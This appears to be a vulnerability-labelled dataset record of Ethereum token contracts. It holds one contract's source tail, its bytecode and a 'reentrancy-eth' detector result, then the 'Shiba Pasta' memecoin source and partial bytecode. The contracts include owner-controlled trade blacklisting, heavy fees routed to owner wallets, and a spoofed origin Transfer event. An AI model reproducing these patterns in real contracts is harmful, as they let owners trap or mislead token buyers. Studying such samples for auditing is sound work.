_taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610552578063dd62ed3e14610572578063ea1644d5146105b8578063f2fde38b146105d857600080fd5b8063a2a957bb146104cd578063a9059cbb146104ed578063bfd792841461050d578063c3c8cd801461053d57600080fd5b80638f70ccf7116100d15780638f70ccf71461044b5780638f9a55c01461046b57806395d89b411461048157806398a5c315146104ad57600080fd5b80637d1db4a5146103ea5780637f2feddc146104005780638da5cb5b1461042d57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038057806370a0823114610395578063715018a6146103b557806374010ece146103ca57600080fd5b8063313ce5671461030457806349bd5a5e146103205780636b999053146103405780636d8aa8f81461036057600080fd5b80631694505e116101ab5780631694505e1461027157806318160ddd146102a957806323b872dd146102ce5780632fd689e3146102ee57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195c565b6105f8565b005b34801561020a57600080fd5b5060408051808201909152600881526711d85cdb1a59da1d60c21b60208201525b6040516102389190611a21565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611a76565b610697565b6040519015158152602001610238565b34801561027d57600080fd5b50601454610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b50670de0b6b3a76400005b604051908152602001610238565b3480156102da57600080fd5b506102616102e9366004611aa2565b6106ae565b3480156102fa57600080fd5b506102c060185481565b34801561031057600080fd5b5060405160098152602001610238565b34801561032c57600080fd5b50601554610291906001600160a01b031681565b34801561034c57600080fd5b506101fc61035b366004611ae3565b610717565b34801561036c57600080fd5b506101fc61037b366004611b10565b610762565b34801561038c57600080fd5b506101fc6107aa565b3480156103a157600080fd5b506102c06103b0366004611ae3565b6107f5565b3480156103c157600080fd5b506101fc610817565b3480156103d657600080fd5b506101fc6103e5366004611b2b565b61088b565b3480156103f657600080fd5b506102c060165481565b34801561040c57600080fd5b506102c061041b366004611ae3565b60116020526000908152604090205481565b34801561043957600080fd5b506000546001600160a01b0316610291565b34801561045757600080fd5b506101fc610466366004611b10565b6108ba565b34801561047757600080fd5b506102c060175481565b34801561048d57600080fd5b5060408051808201909152600381526247415360e81b602082015261022b565b3480156104b957600080fd5b506101fc6104c8366004611b2b565b610902565b3480156104d957600080fd5b506101fc6104e8366004611b44565b610931565b3480156104f957600080fd5b50610261610508366004611a76565b61096f565b34801561051957600080fd5b50610261610528366004611ae3565b60106020526000908152604090205460ff1681565b34801561054957600080fd5b506101fc61097c565b34801561055e57600080fd5b506101fc61056d366004611b76565b6109d0565b34801561057e57600080fd5b506102c061058d366004611bfa565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c457600080fd5b506101fc6105d3366004611b2b565b610a71565b3480156105e457600080fd5b506101fc6105f3366004611ae3565b610aa0565b6000546001600160a01b0316331461062b5760405162461bcd60e51b815260040161062290611c33565b60405180910390fd5b60005b81518110156106935760016010600084848151811061064f5761064f611c68565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068b81611c94565b91505061062e565b5050565b60006106a4338484610b8a565b5060015b92915050565b60006106bb848484610cae565b61070d843361070885604051806060016040528060288152602001611dae602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ea565b610b8a565b5060019392505050565b6000546001600160a01b031633146107415760405162461bcd60e51b815260040161062290611c33565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078c5760405162461bcd60e51b815260040161062290611c33565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107df57506013546001600160a01b0316336001600160a01b0316145b6107e857600080fd5b476107f281611224565b50565b6001600160a01b0381166000908152600260205260408120546106a89061125e565b6000546001600160a01b031633146108415760405162461bcd60e51b815260040161062290611c33565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b55760405162461bcd60e51b815260040161062290611c33565b601655565b6000546001600160a01b031633146108e45760405162461bcd60e51b815260040161062290611c33565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092c5760405162461bcd60e51b815260040161062290611c33565b601855565b6000546001600160a01b0316331461095b5760405162461bcd60e51b815260040161062290611c33565b600893909355600a91909155600955600b55565b60006106a4338484610cae565b6012546001600160a01b0316336001600160a01b031614806109b157506013546001600160a01b0316336001600160a01b0316145b6109ba57600080fd5b60006109c5306107f5565b90506107f2816112e2565b6000546001600160a01b031633146109fa5760405162461bcd60e51b815260040161062290611c33565b60005b82811015610a6b578160056000868685818110610a1c57610a1c611c68565b9050602002016020810190610a319190611ae3565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6381611c94565b9150506109fd565b50505050565b6000546001600160a01b03163314610a9b5760405162461bcd60e51b815260040161062290611c33565b601755565b6000546001600160a01b03163314610aca5760405162461bcd60e51b815260040161062290611c33565b6001600160a01b038116610b2f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610622565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bec5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610622565b6001600160a01b038216610c4d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610622565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d125760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610622565b6001600160a01b038216610d745760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610622565b60008111610dd65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610622565b6000546001600160a01b03848116911614801590610e0257506000546001600160a01b03838116911614155b156110e357601554600160a01b900460ff16610e9b576000546001600160a01b03848116911614610e9b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610622565b601654811115610eed5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610622565b6001600160a01b03831660009081526010602052604090205460ff16158015610f2f57506001600160a01b03821660009081526010602052604090205460ff16155b610f875760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610622565b6015546001600160a01b0383811691161461100c5760175481610fa9846107f5565b610fb39190611caf565b1061100c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610622565b6000611017306107f5565b6018546016549192508210159082106110305760165491505b8080156110475750601554600160a81b900460ff16155b801561106157506015546001600160a01b03868116911614155b80156110765750601554600160b01b900460ff165b801561109b57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c057506001600160a01b03841660009081526005602052604090205460ff16155b156110e0576110ce826112e2565b4780156110de576110de47611224565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112557506001600160a01b03831660009081526005602052604090205460ff165b8061115757506015546001600160a01b0385811691161480159061115757506015546001600160a01b03848116911614155b15611164575060006111de565b6015546001600160a01b03858116911614801561118f57506014546001600160a01b03848116911614155b156111a157600854600c55600954600d555b6015546001600160a01b0384811691161480156111cc57506014546001600160a01b03858116911614155b156111de57600a54600c55600b54600d555b610a6b8484848461146b565b6000818484111561120e5760405162461bcd60e51b81526004016106229190611a21565b50600061121b8486611cc7565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610693573d6000803e3d6000fd5b60006006548211156112c55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610622565b60006112cf611499565b90506112db83826114bc565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132a5761132a611c68565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137e57600080fd5b505afa158015611392573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b69190611cde565b816001815181106113c9576113c9611c68565b6001600160a01b0392831660209182029290920101526014546113ef9130911684610b8a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611428908590600090869030904290600401611cfb565b600060405180830381600087803b15801561144257600080fd5b505af1158015611456573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611478576114786114fe565b61148384848461152c565b80610a6b57610a6b600e54600c55600f54600d55565b60008060006114a6611623565b90925090506114b582826114bc565b9250505090565b60006112db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611663565b600c5415801561150e5750600d54155b1561151557565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153e87611691565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157090876116ee565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461159f9086611730565b6001600160a01b0389166000908152600260205260409020556115c18161178f565b6115cb84836117d9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161091815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061163e82826114bc565b82101561165a57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116845760405162461bcd60e51b81526004016106229190611a21565b50600061121b8486611d6c565b60008060008060008060008060006116ae8a600c54600d546117fd565b92509250925060006116be611499565b905060008060006116d18e878787611852565b919e509c509a509598509396509194505050505091939550919395565b60006112db83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ea565b60008061173d8385611caf565b9050838110156112db5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610622565b6000611799611499565b905060006117a783836118a2565b306000908152600260205260409020549091506117c49082611730565b30600090815260026020526040902055505050565b6006546117e690836116ee565b6006556007546117f69082611730565b6007555050565b6000808080611817606461181189896118a2565b906114bc565b9050600061182a60646118118a896118a2565b905060006118428261183c8b866116ee565b906116ee565b9992985090965090945050505050565b600080808061186188866118a2565b9050600061186f88876118a2565b9050600061187d88886118a2565b9050600061188f8261183c86866116ee565b939b939a50919850919650505050505050565b6000826118b1575060006106a8565b60006118bd8385611d8e565b9050826118ca8583611d6c565b146112db5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610622565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f257600080fd5b803561195781611937565b919050565b6000602080838503121561196f57600080fd5b823567ffffffffffffffff8082111561198757600080fd5b818501915085601f83011261199b57600080fd5b8135818111156119ad576119ad611921565b8060051b604051601f19603f830116810181811085821117156119d2576119d2611921565b6040529182528482019250838101850191888311156119f057600080fd5b938501935b82851015611a1557611a068561194c565b845293850193928501926119f5565b98975050505050505050565b600060208083528351808285015260005b81811015611a4e57858101830151858201604001528201611a32565b81811115611a60576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8957600080fd5b8235611a9481611937565b946020939093013593505050565b600080600060608486031215611ab757600080fd5b8335611ac281611937565b92506020840135611ad281611937565b929592945050506040919091013590565b600060208284031215611af557600080fd5b81356112db81611937565b8035801515811461195757600080fd5b600060208284031215611b2257600080fd5b6112db82611b00565b600060208284031215611b3d57600080fd5b5035919050565b60008060008060808587031215611b5a57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8b57600080fd5b833567ffffffffffffffff80821115611ba357600080fd5b818601915086601f830112611bb757600080fd5b813581811115611bc657600080fd5b8760208260051b8501011115611bdb57600080fd5b602092830195509350611bf19186019050611b00565b90509250925092565b60008060408385031215611c0d57600080fd5b8235611c1881611937565b91506020830135611c2881611937565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca857611ca8611c7e565b5060010190565b60008219821115611cc257611cc2611c7e565b500190565b600082821015611cd957611cd9611c7e565b500390565b600060208284031215611cf057600080fd5b81516112db81611937565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4b5784516001600160a01b031683529383019391830191600101611d26565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da857611da8611c7e565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122067974760f75be1a443fad4940e1cc8be8c386f89907da55959c9d9fadbd26e2764736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
2,724
0x6d493ccc683ff44cb9cd373b0fabac47b7841684
/** *Submitted for verification at Etherscan.io on 2021-06-15 */ /** *Submitted for verification at Etherscan.io on 2021-06-15 */ /* t.me/shibasta Shiba Pasta $SHIBASTA Buon Appetito! So delicious! ▒▒▒▒▒▒▒▒░░░░ ░░░░▒▒▒▒▒▒▒▒▒▒░░ ████ ████████▒▒▒▒▒▒░░░░▒▒▒▒▒▒▒▒ ██▒▒▒▒██ ██▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░▒▒▒▒░░▒▒▒▒██▒▒▒▒██ ████▒▒▒▒██▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░▒▒▒▒▒▒▒▒▒▒██ ██▒▒██░░░░▒▒░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░██ ██░░▒▒▒▒▒▒░░░░▒▒▒▒░░▒▒▒▒░░▒▒░░▒▒░░░░░░ ████░░▒▒░░▒▒▒▒░░▒▒▒▒░░░░░░░░▒▒░░▒▒░░▒▒▒▒▒▒░░████ ████░░░░░░░░▒▒░░░░▒▒░░░░░░░░░░▒▒░░▒▒░░░░░░░░░░▒▒░░░░████ ██░░░░░░░░░░░░░░▒▒▒▒░░▒▒▒▒▒▒▒▒▒▒░░▒▒░░▒▒▒▒░░▒▒░░░░░░░░░░░░██ ██░░░░░░░░░░░░▒▒░░░░▒▒░░░░░░░░░░░░░░░░░░░░▒▒░░░░░░░░░░░░░░██ ██░░░░░░░░░░▒▒░░▒▒░░░░░░▒▒░░░░░░░░░░░░▒▒░░▒▒░░░░░░░░░░██ ████░░░░░░░░░░▒▒░░░░░░░░▒▒░░░░░░░░░░░░░░░░░░░░░░████ ██████████░░░░░░░░░░░░░░░░░░░░░░░░██████████ ██░░░░████████████████████████░░░░██ ██░░░░░░░░░░░░░░░░░░░░░░░░░░░░██ ████████████████████████████ Fair launch! No presale/team/dev tokens! Designed and developed by the Shiba Ramen core team (@shibaramen) LP Lock immediately on launch. Ownership will be renounced 10 minutes after launch. Slippage Recommended: 18%+ Twitter: https://twitter.com/shibapastaofficial Telegram: https://t.me/shibasta Instagram: https://instagram.com/shibapastaofficial?utm_medium=copy_link Website: https://www.shibapasta.finance Reddit: https://www.reddit.com/r/ShibaPasta/ SPDX-License-Identifier: Mines™®© */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SHIBASTA is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Shiba Pasta"; string private constant _symbol = unicode'SHIBASTA🍝'; uint8 private constant _decimals = 9; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 5; _teamFee = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 5; _teamFee = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612d79565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128a3565b61045e565b6040516101789190612d5e565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612efb565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612850565b610490565b6040516101e09190612d5e565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906127b6565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612f70565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061292c565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f91906127b6565b610786565b6040516102b19190612efb565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612c90565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612d79565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128a3565b610990565b60405161035b9190612d5e565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906128e3565b6109ae565b005b34801561039957600080fd5b506103a2610ad8565b005b3480156103b057600080fd5b506103b9610b52565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612986565b6110b4565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612810565b611200565b6040516104189190612efb565b60405180910390f35b60606040518060400160405280600b81526020017f5368696261205061737461000000000000000000000000000000000000000000815250905090565b600061047261046b611287565b848461128f565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d84848461145a565b61055e846104a9611287565b6105598560405180606001604052806028815260200161364e60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f611287565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b129092919063ffffffff16565b61128f565b600190509392505050565b610571611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612e5b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106